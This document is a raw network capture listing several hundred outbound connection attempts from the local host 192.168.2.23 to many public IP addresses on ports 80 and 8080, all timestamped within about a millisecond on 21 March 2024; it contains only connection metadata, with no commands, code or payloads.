Mar 21, 2024 05:16:52.904652119 CET	19033	8080	192.168.2.23	98.16.253.230
Mar 21, 2024 05:16:52.904656887 CET	19033	8080	192.168.2.23	98.37.164.141
Mar 21, 2024 05:16:52.904656887 CET	19033	8080	192.168.2.23	172.122.101.165
Mar 21, 2024 05:16:52.904656887 CET	19035	80	192.168.2.23	178.169.195.152
Mar 21, 2024 05:16:52.904656887 CET	19033	8080	192.168.2.23	98.236.111.60
Mar 21, 2024 05:16:52.904663086 CET	19033	8080	192.168.2.23	98.51.105.42
Mar 21, 2024 05:16:52.904663086 CET	19033	8080	192.168.2.23	98.99.36.107
Mar 21, 2024 05:16:52.904670954 CET	19033	8080	192.168.2.23	172.247.19.90
Mar 21, 2024 05:16:52.904671907 CET	19035	80	192.168.2.23	178.159.135.6
Mar 21, 2024 05:16:52.904671907 CET	19033	8080	192.168.2.23	172.250.35.104
Mar 21, 2024 05:16:52.904673100 CET	19033	8080	192.168.2.23	184.54.146.77
Mar 21, 2024 05:16:52.904673100 CET	19033	8080	192.168.2.23	172.39.120.212
Mar 21, 2024 05:16:52.904673100 CET	19033	8080	192.168.2.23	172.217.25.224
Mar 21, 2024 05:16:52.904673100 CET	19033	8080	192.168.2.23	172.48.178.31
Mar 21, 2024 05:16:52.904675961 CET	19033	8080	192.168.2.23	172.24.20.78
Mar 21, 2024 05:16:52.904692888 CET	19035	80	192.168.2.23	178.250.36.70
Mar 21, 2024 05:16:52.904692888 CET	19033	8080	192.168.2.23	98.157.239.49
Mar 21, 2024 05:16:52.904709101 CET	19033	8080	192.168.2.23	184.19.71.236
Mar 21, 2024 05:16:52.904709101 CET	19035	80	192.168.2.23	178.22.114.109
Mar 21, 2024 05:16:52.904710054 CET	19035	80	192.168.2.23	178.109.64.253
Mar 21, 2024 05:16:52.904710054 CET	19033	8080	192.168.2.23	98.135.105.212
Mar 21, 2024 05:16:52.904711962 CET	19033	8080	192.168.2.23	98.0.227.65
Mar 21, 2024 05:16:52.904715061 CET	19033	8080	192.168.2.23	172.24.78.213
Mar 21, 2024 05:16:52.904721975 CET	19033	8080	192.168.2.23	184.37.59.115
Mar 21, 2024 05:16:52.904736996 CET	19033	8080	192.168.2.23	98.214.93.178
Mar 21, 2024 05:16:52.904745102 CET	19033	8080	192.168.2.23	172.141.33.169
Mar 21, 2024 05:16:52.904745102 CET	19033	8080	192.168.2.23	98.105.144.24
Mar 21, 2024 05:16:52.904745102 CET	19033	8080	192.168.2.23	172.81.130.84
Mar 21, 2024 05:16:52.904750109 CET	19033	8080	192.168.2.23	184.83.213.44
Mar 21, 2024 05:16:52.904755116 CET	19033	8080	192.168.2.23	98.20.22.14
Mar 21, 2024 05:16:52.904755116 CET	19033	8080	192.168.2.23	172.129.151.182
Mar 21, 2024 05:16:52.904755116 CET	19033	8080	192.168.2.23	184.210.133.20
Mar 21, 2024 05:16:52.904755116 CET	19033	8080	192.168.2.23	172.79.48.138
Mar 21, 2024 05:16:52.904758930 CET	19033	8080	192.168.2.23	172.184.16.233
Mar 21, 2024 05:16:52.904755116 CET	19035	80	192.168.2.23	178.40.7.191
Mar 21, 2024 05:16:52.904755116 CET	19035	80	192.168.2.23	178.254.176.203
Mar 21, 2024 05:16:52.904755116 CET	19033	8080	192.168.2.23	172.230.23.28
Mar 21, 2024 05:16:52.904758930 CET	19033	8080	192.168.2.23	172.107.222.150
Mar 21, 2024 05:16:52.904758930 CET	19033	8080	192.168.2.23	184.254.161.87
Mar 21, 2024 05:16:52.904763937 CET	19033	8080	192.168.2.23	184.208.108.70
Mar 21, 2024 05:16:52.904763937 CET	19033	8080	192.168.2.23	172.255.219.81
Mar 21, 2024 05:16:52.904763937 CET	19033	8080	192.168.2.23	184.132.118.8
Mar 21, 2024 05:16:52.904763937 CET	19033	8080	192.168.2.23	184.57.23.171
Mar 21, 2024 05:16:52.904778957 CET	19033	8080	192.168.2.23	172.252.122.241
Mar 21, 2024 05:16:52.904778957 CET	19033	8080	192.168.2.23	184.44.201.178
Mar 21, 2024 05:16:52.904803038 CET	19035	80	192.168.2.23	178.108.23.250
Mar 21, 2024 05:16:52.904803038 CET	19033	8080	192.168.2.23	98.178.161.82
Mar 21, 2024 05:16:52.904818058 CET	19035	80	192.168.2.23	178.244.19.173
Mar 21, 2024 05:16:52.904818058 CET	19033	8080	192.168.2.23	172.52.238.126
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	172.149.119.70
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	184.102.22.74
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	172.61.194.98
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	172.228.58.106
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	184.18.241.124
Mar 21, 2024 05:16:52.904823065 CET	19033	8080	192.168.2.23	172.112.234.36
Mar 21, 2024 05:16:52.904824018 CET	19035	80	192.168.2.23	178.124.116.145
Mar 21, 2024 05:16:52.904823065 CET	19033	8080	192.168.2.23	98.85.14.20
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	172.48.145.10
Mar 21, 2024 05:16:52.904823065 CET	19033	8080	192.168.2.23	98.163.120.196
Mar 21, 2024 05:16:52.904824018 CET	19033	8080	192.168.2.23	184.26.97.27
Mar 21, 2024 05:16:52.904820919 CET	19033	8080	192.168.2.23	184.86.112.100
Mar 21, 2024 05:16:52.904824018 CET	19033	8080	192.168.2.23	98.180.12.111
Mar 21, 2024 05:16:52.904825926 CET	19035	80	192.168.2.23	178.16.22.69
Mar 21, 2024 05:16:52.904823065 CET	19033	8080	192.168.2.23	184.115.100.178
Mar 21, 2024 05:16:52.904825926 CET	19033	8080	192.168.2.23	98.104.244.97
Mar 21, 2024 05:16:52.904823065 CET	19033	8080	192.168.2.23	98.131.255.242
Mar 21, 2024 05:16:52.904844046 CET	19033	8080	192.168.2.23	184.17.82.139
Mar 21, 2024 05:16:52.904846907 CET	19033	8080	192.168.2.23	98.37.133.68
Mar 21, 2024 05:16:52.904846907 CET	19033	8080	192.168.2.23	172.144.82.194
Mar 21, 2024 05:16:52.904846907 CET	19033	8080	192.168.2.23	98.52.112.24
Mar 21, 2024 05:16:52.904848099 CET	19033	8080	192.168.2.23	172.53.255.255
Mar 21, 2024 05:16:52.904859066 CET	19035	80	192.168.2.23	178.55.51.69
Mar 21, 2024 05:16:52.904859066 CET	19033	8080	192.168.2.23	172.189.45.245
Mar 21, 2024 05:16:52.904859066 CET	19033	8080	192.168.2.23	184.131.120.247
Mar 21, 2024 05:16:52.904859066 CET	19033	8080	192.168.2.23	172.177.255.165
Mar 21, 2024 05:16:52.904859066 CET	19035	80	192.168.2.23	178.183.30.45
Mar 21, 2024 05:16:52.904859066 CET	19033	8080	192.168.2.23	184.84.183.216
Mar 21, 2024 05:16:52.904859066 CET	19033	8080	192.168.2.23	98.189.23.42
Mar 21, 2024 05:16:52.904861927 CET	19033	8080	192.168.2.23	98.200.247.194
Mar 21, 2024 05:16:52.904861927 CET	19033	8080	192.168.2.23	172.156.223.90
Mar 21, 2024 05:16:52.904861927 CET	19033	8080	192.168.2.23	172.177.191.73
Mar 21, 2024 05:16:52.904861927 CET	19035	80	192.168.2.23	178.148.82.226
Mar 21, 2024 05:16:52.904864073 CET	19035	80	192.168.2.23	178.175.5.195
Mar 21, 2024 05:16:52.904861927 CET	19033	8080	192.168.2.23	98.68.235.78
Mar 21, 2024 05:16:52.904861927 CET	19033	8080	192.168.2.23	172.44.109.180
Mar 21, 2024 05:16:52.904861927 CET	19035	80	192.168.2.23	178.166.52.93
Mar 21, 2024 05:16:52.904863119 CET	19033	8080	192.168.2.23	98.81.245.237
Mar 21, 2024 05:16:52.904876947 CET	19033	8080	192.168.2.23	172.253.248.95
Mar 21, 2024 05:16:52.904876947 CET	19033	8080	192.168.2.23	172.225.187.73
Mar 21, 2024 05:16:52.904876947 CET	19033	8080	192.168.2.23	98.186.143.119
Mar 21, 2024 05:16:52.904876947 CET	19033	8080	192.168.2.23	172.204.134.75
Mar 21, 2024 05:16:52.904877901 CET	19033	8080	192.168.2.23	98.93.178.76
Mar 21, 2024 05:16:52.904877901 CET	19033	8080	192.168.2.23	184.186.152.245
Mar 21, 2024 05:16:52.904886007 CET	19033	8080	192.168.2.23	184.253.71.181
Mar 21, 2024 05:16:52.904886007 CET	19033	8080	192.168.2.23	98.130.68.114
Mar 21, 2024 05:16:52.904917955 CET	19033	8080	192.168.2.23	98.252.23.173
Mar 21, 2024 05:16:52.904917955 CET	19033	8080	192.168.2.23	98.138.69.243
Mar 21, 2024 05:16:52.904921055 CET	19033	8080	192.168.2.23	184.162.25.236
Mar 21, 2024 05:16:52.904921055 CET	19033	8080	192.168.2.23	184.152.218.111
Mar 21, 2024 05:16:52.904921055 CET	19033	8080	192.168.2.23	98.203.199.70
Mar 21, 2024 05:16:52.904923916 CET	19033	8080	192.168.2.23	172.200.39.136
Mar 21, 2024 05:16:52.904926062 CET	19033	8080	192.168.2.23	184.224.97.142
Mar 21, 2024 05:16:52.904926062 CET	19033	8080	192.168.2.23	184.235.139.57
Mar 21, 2024 05:16:52.904926062 CET	19035	80	192.168.2.23	178.23.183.101
Mar 21, 2024 05:16:52.904927015 CET	19033	8080	192.168.2.23	172.107.17.150
Mar 21, 2024 05:16:52.904926062 CET	19033	8080	192.168.2.23	184.249.209.100
Mar 21, 2024 05:16:52.904926062 CET	19033	8080	192.168.2.23	172.215.148.46
Mar 21, 2024 05:16:52.904931068 CET	19033	8080	192.168.2.23	98.233.224.95
Mar 21, 2024 05:16:52.904931068 CET	19033	8080	192.168.2.23	184.244.0.238
Mar 21, 2024 05:16:52.904931068 CET	19033	8080	192.168.2.23	172.250.145.86
Mar 21, 2024 05:16:52.904931068 CET	19033	8080	192.168.2.23	172.148.110.88
Mar 21, 2024 05:16:52.904932976 CET	19033	8080	192.168.2.23	184.159.62.196
Mar 21, 2024 05:16:52.904931068 CET	19033	8080	192.168.2.23	172.193.7.251
Mar 21, 2024 05:16:52.904932976 CET	19033	8080	192.168.2.23	184.39.72.250
Mar 21, 2024 05:16:52.904931068 CET	19033	8080	192.168.2.23	184.168.180.216
Mar 21, 2024 05:16:52.904931068 CET	19035	80	192.168.2.23	178.198.2.46
Mar 21, 2024 05:16:52.904932022 CET	19033	8080	192.168.2.23	98.159.119.165
Mar 21, 2024 05:16:52.904943943 CET	19033	8080	192.168.2.23	98.247.53.145
Mar 21, 2024 05:16:52.904951096 CET	19033	8080	192.168.2.23	98.98.42.119
Mar 21, 2024 05:16:52.904951096 CET	19035	80	192.168.2.23	178.132.134.6
Mar 21, 2024 05:16:52.904951096 CET	19033	8080	192.168.2.23	98.178.234.48
Mar 21, 2024 05:16:52.904951096 CET	19033	8080	192.168.2.23	98.77.101.20
Mar 21, 2024 05:16:52.904951096 CET	19033	8080	192.168.2.23	98.253.197.165
Mar 21, 2024 05:16:52.904956102 CET	19033	8080	192.168.2.23	98.118.22.18
Mar 21, 2024 05:16:52.904956102 CET	19033	8080	192.168.2.23	172.112.165.231
Mar 21, 2024 05:16:52.904956102 CET	19035	80	192.168.2.23	178.142.100.197
Mar 21, 2024 05:16:52.904958010 CET	19035	80	192.168.2.23	178.72.217.83
Mar 21, 2024 05:16:52.904958010 CET	19035	80	192.168.2.23	178.80.94.104
Mar 21, 2024 05:16:52.904959917 CET	19033	8080	192.168.2.23	172.29.216.118
Mar 21, 2024 05:16:52.904959917 CET	19035	80	192.168.2.23	178.180.100.99
Mar 21, 2024 05:16:52.904961109 CET	19033	8080	192.168.2.23	98.39.76.146
Mar 21, 2024 05:16:52.904959917 CET	19033	8080	192.168.2.23	172.99.2.79
Mar 21, 2024 05:16:52.904961109 CET	19033	8080	192.168.2.23	184.227.223.87
Mar 21, 2024 05:16:52.904959917 CET	19035	80	192.168.2.23	178.89.46.116
Mar 21, 2024 05:16:52.904959917 CET	19033	8080	192.168.2.23	98.89.149.221
Mar 21, 2024 05:16:52.905000925 CET	19035	80	192.168.2.23	178.155.38.178
Mar 21, 2024 05:16:52.905002117 CET	19033	8080	192.168.2.23	172.70.232.252
Mar 21, 2024 05:16:52.905002117 CET	19033	8080	192.168.2.23	172.17.98.144
Mar 21, 2024 05:16:52.905002117 CET	19035	80	192.168.2.23	178.238.48.63
Mar 21, 2024 05:16:52.905006886 CET	19035	80	192.168.2.23	178.85.220.205
Mar 21, 2024 05:16:52.905008078 CET	19033	8080	192.168.2.23	172.152.4.38
Mar 21, 2024 05:16:52.905009985 CET	19035	80	192.168.2.23	178.66.9.78
Mar 21, 2024 05:16:52.905009985 CET	19033	8080	192.168.2.23	172.98.156.125
Mar 21, 2024 05:16:52.905016899 CET	19035	80	192.168.2.23	178.229.140.92
Mar 21, 2024 05:16:52.905029058 CET	19033	8080	192.168.2.23	98.9.103.181
Mar 21, 2024 05:16:52.905029058 CET	19033	8080	192.168.2.23	98.227.162.250
Mar 21, 2024 05:16:52.905029058 CET	19033	8080	192.168.2.23	172.181.111.243
Mar 21, 2024 05:16:52.905029058 CET	19033	8080	192.168.2.23	172.119.206.253
Mar 21, 2024 05:16:52.905029058 CET	19033	8080	192.168.2.23	184.213.179.138
Mar 21, 2024 05:16:52.905031919 CET	19033	8080	192.168.2.23	172.141.8.222
Mar 21, 2024 05:16:52.905031919 CET	19033	8080	192.168.2.23	98.226.213.100
Mar 21, 2024 05:16:52.905031919 CET	19033	8080	192.168.2.23	172.30.16.125
Mar 21, 2024 05:16:52.905031919 CET	19035	80	192.168.2.23	178.70.233.2
Mar 21, 2024 05:16:52.905036926 CET	19033	8080	192.168.2.23	172.79.152.239
Mar 21, 2024 05:16:52.905039072 CET	19033	8080	192.168.2.23	172.78.23.69
Mar 21, 2024 05:16:52.905039072 CET	19033	8080	192.168.2.23	98.51.136.240
Mar 21, 2024 05:16:52.905039072 CET	19033	8080	192.168.2.23	184.102.178.252
Mar 21, 2024 05:16:52.905040026 CET	19033	8080	192.168.2.23	184.176.237.202
Mar 21, 2024 05:16:52.905040026 CET	19035	80	192.168.2.23	178.198.162.212
Mar 21, 2024 05:16:52.905040979 CET	19033	8080	192.168.2.23	172.238.138.144
Mar 21, 2024 05:16:52.905040026 CET	19033	8080	192.168.2.23	98.165.116.81
Mar 21, 2024 05:16:52.905040979 CET	19033	8080	192.168.2.23	184.112.218.89
Mar 21, 2024 05:16:52.905040026 CET	19033	8080	192.168.2.23	98.3.64.125
Mar 21, 2024 05:16:52.905040979 CET	19033	8080	192.168.2.23	98.17.87.60
Mar 21, 2024 05:16:52.905040026 CET	19033	8080	192.168.2.23	98.20.39.251
Mar 21, 2024 05:16:52.905040979 CET	19035	80	192.168.2.23	178.81.36.64
Mar 21, 2024 05:16:52.905083895 CET	19033	8080	192.168.2.23	172.42.108.116
Mar 21, 2024 05:16:52.905083895 CET	19033	8080	192.168.2.23	184.86.183.211
Mar 21, 2024 05:16:52.905088902 CET	19033	8080	192.168.2.23	172.251.6.188
Mar 21, 2024 05:16:52.905092001 CET	19033	8080	192.168.2.23	172.223.68.222
Mar 21, 2024 05:16:52.905092001 CET	19035	80	192.168.2.23	178.158.157.154
Mar 21, 2024 05:16:52.905092001 CET	19035	80	192.168.2.23	178.6.157.118
Mar 21, 2024 05:16:52.905092001 CET	19033	8080	192.168.2.23	98.228.156.101
Mar 21, 2024 05:16:52.905092001 CET	19033	8080	192.168.2.23	184.183.139.132
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	98.3.240.73
Mar 21, 2024 05:16:52.905092001 CET	19033	8080	192.168.2.23	98.168.196.79
Mar 21, 2024 05:16:52.905092001 CET	19033	8080	192.168.2.23	172.243.109.67
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	172.199.157.154
Mar 21, 2024 05:16:52.905095100 CET	19033	8080	192.168.2.23	98.87.169.43
Mar 21, 2024 05:16:52.905095100 CET	19033	8080	192.168.2.23	184.50.37.217
Mar 21, 2024 05:16:52.905095100 CET	19033	8080	192.168.2.23	184.192.212.247
Mar 21, 2024 05:16:52.905096054 CET	19035	80	192.168.2.23	178.126.134.43
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	172.253.193.159
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	172.248.193.14
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	172.208.125.20
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	172.114.170.184
Mar 21, 2024 05:16:52.905092955 CET	19033	8080	192.168.2.23	172.39.10.213
Mar 21, 2024 05:16:52.905112982 CET	19033	8080	192.168.2.23	184.31.197.145
Mar 21, 2024 05:16:52.905114889 CET	19033	8080	192.168.2.23	184.127.139.82
Mar 21, 2024 05:16:52.905114889 CET	19033	8080	192.168.2.23	172.34.17.19
Mar 21, 2024 05:16:52.905118942 CET	19035	80	192.168.2.23	178.8.135.195
Mar 21, 2024 05:16:52.905118942 CET	19033	8080	192.168.2.23	184.211.76.233
Mar 21, 2024 05:16:52.905118942 CET	19033	8080	192.168.2.23	184.250.122.128
Mar 21, 2024 05:16:52.905118942 CET	19033	8080	192.168.2.23	184.195.4.87
Mar 21, 2024 05:16:52.905118942 CET	19033	8080	192.168.2.23	172.56.53.171
Mar 21, 2024 05:16:52.905121088 CET	19033	8080	192.168.2.23	98.173.249.186
Mar 21, 2024 05:16:52.905121088 CET	19033	8080	192.168.2.23	172.187.115.223
Mar 21, 2024 05:16:52.905121088 CET	19033	8080	192.168.2.23	172.199.146.181
Mar 21, 2024 05:16:52.905121088 CET	19033	8080	192.168.2.23	184.43.121.74
Mar 21, 2024 05:16:52.905121088 CET	19033	8080	192.168.2.23	98.222.86.241
Mar 21, 2024 05:16:52.905126095 CET	19033	8080	192.168.2.23	184.134.222.190
Mar 21, 2024 05:16:52.905126095 CET	19033	8080	192.168.2.23	172.46.106.191
Mar 21, 2024 05:16:52.905126095 CET	19033	8080	192.168.2.23	172.136.127.111
Mar 21, 2024 05:16:52.905126095 CET	19033	8080	192.168.2.23	98.191.175.128
Mar 21, 2024 05:16:52.905142069 CET	19033	8080	192.168.2.23	172.139.142.193
Mar 21, 2024 05:16:52.905142069 CET	19033	8080	192.168.2.23	172.194.169.93
Mar 21, 2024 05:16:52.905142069 CET	19033	8080	192.168.2.23	172.184.193.189
Mar 21, 2024 05:16:52.905142069 CET	19033	8080	192.168.2.23	98.153.82.42
Mar 21, 2024 05:16:52.905160904 CET	19033	8080	192.168.2.23	172.52.190.63
Mar 21, 2024 05:16:52.905160904 CET	19033	8080	192.168.2.23	172.102.0.130
Mar 21, 2024 05:16:52.905162096 CET	19035	80	192.168.2.23	178.175.85.51
Mar 21, 2024 05:16:52.905183077 CET	19033	8080	192.168.2.23	98.114.208.132
Mar 21, 2024 05:16:52.905183077 CET	19035	80	192.168.2.23	178.61.98.229
Mar 21, 2024 05:16:52.905183077 CET	19033	8080	192.168.2.23	98.32.128.48
Mar 21, 2024 05:16:52.905183077 CET	19035	80	192.168.2.23	178.48.156.8
Mar 21, 2024 05:16:52.905183077 CET	19033	8080	192.168.2.23	172.66.86.147
Mar 21, 2024 05:16:52.905183077 CET	19033	8080	192.168.2.23	184.156.238.58
Mar 21, 2024 05:16:52.905183077 CET	19033	8080	192.168.2.23	98.215.112.56
Mar 21, 2024 05:16:52.905185938 CET	19033	8080	192.168.2.23	172.32.134.19
Mar 21, 2024 05:16:52.905183077 CET	19035	80	192.168.2.23	178.68.132.23
Mar 21, 2024 05:16:52.905186892 CET	19035	80	192.168.2.23	178.79.29.10
Mar 21, 2024 05:16:52.905186892 CET	19033	8080	192.168.2.23	172.91.92.78
Mar 21, 2024 05:16:52.905188084 CET	19033	8080	192.168.2.23	172.248.56.160
Mar 21, 2024 05:16:52.905186892 CET	19035	80	192.168.2.23	178.60.56.90
Mar 21, 2024 05:16:52.905188084 CET	19033	8080	192.168.2.23	98.204.97.175
Mar 21, 2024 05:16:52.905188084 CET	19035	80	192.168.2.23	178.75.8.65
Mar 21, 2024 05:16:52.905188084 CET	19033	8080	192.168.2.23	98.192.4.171
Mar 21, 2024 05:16:52.905188084 CET	19033	8080	192.168.2.23	172.239.119.58
Mar 21, 2024 05:16:52.905188084 CET	19033	8080	192.168.2.23	184.186.227.141
Mar 21, 2024 05:16:52.905185938 CET	19033	8080	192.168.2.23	184.167.159.68
Mar 21, 2024 05:16:52.905194044 CET	19033	8080	192.168.2.23	184.218.152.11
Mar 21, 2024 05:16:52.905194044 CET	19033	8080	192.168.2.23	172.83.90.146
Mar 21, 2024 05:16:52.905194044 CET	19033	8080	192.168.2.23	184.20.15.13
Mar 21, 2024 05:16:52.905200958 CET	19033	8080	192.168.2.23	184.64.79.8
Mar 21, 2024 05:16:52.905214071 CET	19033	8080	192.168.2.23	98.158.209.115
Mar 21, 2024 05:16:52.905214071 CET	19033	8080	192.168.2.23	184.244.253.115
Mar 21, 2024 05:16:52.905214071 CET	19033	8080	192.168.2.23	172.95.122.40
Mar 21, 2024 05:16:52.905214071 CET	19033	8080	192.168.2.23	98.84.7.188
Mar 21, 2024 05:16:52.905214071 CET	19035	80	192.168.2.23	178.149.123.237
Mar 21, 2024 05:16:52.905214071 CET	19033	8080	192.168.2.23	184.245.118.67
Mar 21, 2024 05:16:52.905215025 CET	19033	8080	192.168.2.23	98.50.152.186
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	172.150.136.148
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	98.9.117.46
Mar 21, 2024 05:16:52.905215979 CET	19035	80	192.168.2.23	178.224.32.224
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	98.118.65.59
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	98.106.11.246
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	172.122.36.253
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	184.78.215.46
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	98.169.218.236
Mar 21, 2024 05:16:52.905215979 CET	19033	8080	192.168.2.23	98.49.109.156
Mar 21, 2024 05:16:52.905267954 CET	19035	80	192.168.2.23	178.75.148.159
Mar 21, 2024 05:16:52.905267954 CET	19033	8080	192.168.2.23	172.32.177.69
Mar 21, 2024 05:16:52.905268908 CET	19033	8080	192.168.2.23	172.36.155.153
Mar 21, 2024 05:16:52.905267954 CET	19033	8080	192.168.2.23	184.217.38.253
Mar 21, 2024 05:16:52.905268908 CET	19033	8080	192.168.2.23	184.191.191.168
Mar 21, 2024 05:16:52.905273914 CET	19033	8080	192.168.2.23	184.252.88.105
Mar 21, 2024 05:16:52.905272007 CET	19033	8080	192.168.2.23	98.91.135.131
Mar 21, 2024 05:16:52.905268908 CET	19033	8080	192.168.2.23	98.81.162.18
Mar 21, 2024 05:16:52.905273914 CET	19033	8080	192.168.2.23	184.175.67.183
Mar 21, 2024 05:16:52.905273914 CET	19033	8080	192.168.2.23	184.198.109.87
Mar 21, 2024 05:16:52.905272007 CET	19035	80	192.168.2.23	178.177.187.232
Mar 21, 2024 05:16:52.905272961 CET	19033	8080	192.168.2.23	98.226.47.90
Mar 21, 2024 05:16:52.905267954 CET	19035	80	192.168.2.23	178.116.224.254
Mar 21, 2024 05:16:52.905268908 CET	19033	8080	192.168.2.23	172.79.116.12
Mar 21, 2024 05:16:52.905273914 CET	19033	8080	192.168.2.23	98.171.45.220
Mar 21, 2024 05:16:52.905281067 CET	19033	8080	192.168.2.23	98.47.184.245
Mar 21, 2024 05:16:52.905268908 CET	19033	8080	192.168.2.23	98.133.241.67
Mar 21, 2024 05:16:52.905272961 CET	19033	8080	192.168.2.23	184.231.48.30
Mar 21, 2024 05:16:52.905268908 CET	19033	8080	192.168.2.23	184.218.250.14
Mar 21, 2024 05:16:52.905272961 CET	19033	8080	192.168.2.23	172.7.43.150
Mar 21, 2024 05:16:52.905281067 CET	19033	8080	192.168.2.23	98.68.209.0
Mar 21, 2024 05:16:52.905272961 CET	19035	80	192.168.2.23	178.107.234.205
Mar 21, 2024 05:16:52.905281067 CET	19033	8080	192.168.2.23	98.169.104.116
Mar 21, 2024 05:16:52.905281067 CET	19035	80	192.168.2.23	178.194.71.97
Mar 21, 2024 05:16:52.905281067 CET	19033	8080	192.168.2.23	184.213.87.82
Mar 21, 2024 05:16:52.905281067 CET	19033	8080	192.168.2.23	184.88.102.246
Mar 21, 2024 05:16:52.905281067 CET	19033	8080	192.168.2.23	184.89.42.255
Mar 21, 2024 05:16:52.905281067 CET	19035	80	192.168.2.23	178.226.230.96
Mar 21, 2024 05:16:52.905292988 CET	19033	8080	192.168.2.23	172.234.154.233
Mar 21, 2024 05:16:52.905292988 CET	19033	8080	192.168.2.23	172.33.222.96
Mar 21, 2024 05:16:52.905292988 CET	19035	80	192.168.2.23	178.183.147.118
Mar 21, 2024 05:16:52.905292988 CET	19033	8080	192.168.2.23	184.218.136.23
Mar 21, 2024 05:16:52.905297995 CET	19033	8080	192.168.2.23	184.86.154.38
Mar 21, 2024 05:16:52.905337095 CET	19033	8080	192.168.2.23	184.97.167.65
Mar 21, 2024 05:16:52.905337095 CET	19033	8080	192.168.2.23	184.197.60.250
Mar 21, 2024 05:16:52.905338049 CET	19035	80	192.168.2.23	178.223.146.170
Mar 21, 2024 05:16:52.905337095 CET	19033	8080	192.168.2.23	172.87.6.108
Mar 21, 2024 05:16:52.905337095 CET	19035	80	192.168.2.23	178.235.4.85
Mar 21, 2024 05:16:52.905347109 CET	19033	8080	192.168.2.23	172.228.66.235
Mar 21, 2024 05:16:52.905347109 CET	19033	8080	192.168.2.23	98.48.203.109
Mar 21, 2024 05:16:52.905347109 CET	19033	8080	192.168.2.23	98.147.143.154
Mar 21, 2024 05:16:52.905347109 CET	19033	8080	192.168.2.23	98.210.142.253
Mar 21, 2024 05:16:52.905347109 CET	19035	80	192.168.2.23	178.212.190.100
Mar 21, 2024 05:16:52.905347109 CET	19035	80	192.168.2.23	178.131.9.128
Mar 21, 2024 05:16:52.905347109 CET	19035	80	192.168.2.23	178.33.203.93
Mar 21, 2024 05:16:52.905349016 CET	19035	80	192.168.2.23	178.160.56.86
Mar 21, 2024 05:16:52.905349016 CET	19035	80	192.168.2.23	178.181.185.112
Mar 21, 2024 05:16:52.905354977 CET	19035	80	192.168.2.23	178.211.98.172
Mar 21, 2024 05:16:52.905364990 CET	19035	80	192.168.2.23	178.142.242.41
Mar 21, 2024 05:16:52.905406952 CET	19035	80	192.168.2.23	178.124.186.56
Mar 21, 2024 05:16:52.905456066 CET	19035	80	192.168.2.23	178.131.205.172
Mar 21, 2024 05:16:52.905457973 CET	19035	80	192.168.2.23	178.68.58.15
Mar 21, 2024 05:16:52.905468941 CET	19035	80	192.168.2.23	178.105.11.107
Mar 21, 2024 05:16:52.905472040 CET	19035	80	192.168.2.23	178.80.55.70
Mar 21, 2024 05:16:52.905481100 CET	19035	80	192.168.2.23	178.4.161.254
Mar 21, 2024 05:16:52.905481100 CET	19035	80	192.168.2.23	178.109.134.146
Mar 21, 2024 05:16:52.905481100 CET	19035	80	192.168.2.23	178.68.174.6
Mar 21, 2024 05:16:52.905481100 CET	19035	80	192.168.2.23	178.133.37.163
Mar 21, 2024 05:16:52.905481100 CET	19035	80	192.168.2.23	178.115.32.55
Mar 21, 2024 05:16:52.905531883 CET	19035	80	192.168.2.23	178.34.61.150
Mar 21, 2024 05:16:52.905534029 CET	19035	80	192.168.2.23	178.9.243.18
Mar 21, 2024 05:16:52.905571938 CET	19035	80	192.168.2.23	178.196.119.156
Mar 21, 2024 05:16:52.905571938 CET	19035	80	192.168.2.23	178.241.152.23
Mar 21, 2024 05:16:52.905572891 CET	19035	80	192.168.2.23	178.207.51.29
Mar 21, 2024 05:16:52.905574083 CET	19035	80	192.168.2.23	178.8.20.199
Mar 21, 2024 05:16:52.905589104 CET	19035	80	192.168.2.23	178.242.2.187
Mar 21, 2024 05:16:52.905602932 CET	19035	80	192.168.2.23	178.213.92.125
Mar 21, 2024 05:16:52.905616045 CET	19035	80	192.168.2.23	178.1.13.134
Mar 21, 2024 05:16:52.905636072 CET	19035	80	192.168.2.23	178.182.184.105
Mar 21, 2024 05:16:52.905700922 CET	19035	80	192.168.2.23	178.71.180.7
Mar 21, 2024 05:16:52.905708075 CET	19035	80	192.168.2.23	178.50.206.226
Mar 21, 2024 05:16:52.905714035 CET	19035	80	192.168.2.23	178.254.209.94
Mar 21, 2024 05:16:52.905715942 CET	19035	80	192.168.2.23	178.61.178.247
Mar 21, 2024 05:16:52.905715942 CET	19035	80	192.168.2.23	178.148.69.235
Mar 21, 2024 05:16:52.905715942 CET	19035	80	192.168.2.23	178.172.118.136
Mar 21, 2024 05:16:52.905755043 CET	19035	80	192.168.2.23	178.47.133.32
Mar 21, 2024 05:16:52.905766964 CET	19035	80	192.168.2.23	178.76.177.154
Mar 21, 2024 05:16:52.905780077 CET	19035	80	192.168.2.23	178.173.173.13
Mar 21, 2024 05:16:52.905780077 CET	19035	80	192.168.2.23	178.221.198.82
Mar 21, 2024 05:16:52.905781031 CET	19035	80	192.168.2.23	178.234.242.195
Mar 21, 2024 05:16:52.905797005 CET	19035	80	192.168.2.23	178.63.171.247
Mar 21, 2024 05:16:52.905836105 CET	19035	80	192.168.2.23	178.74.59.97
Mar 21, 2024 05:16:52.905838013 CET	19035	80	192.168.2.23	178.46.235.74
Mar 21, 2024 05:16:52.905843019 CET	19035	80	192.168.2.23	178.214.242.169
Mar 21, 2024 05:16:52.905900002 CET	19035	80	192.168.2.23	178.122.50.238
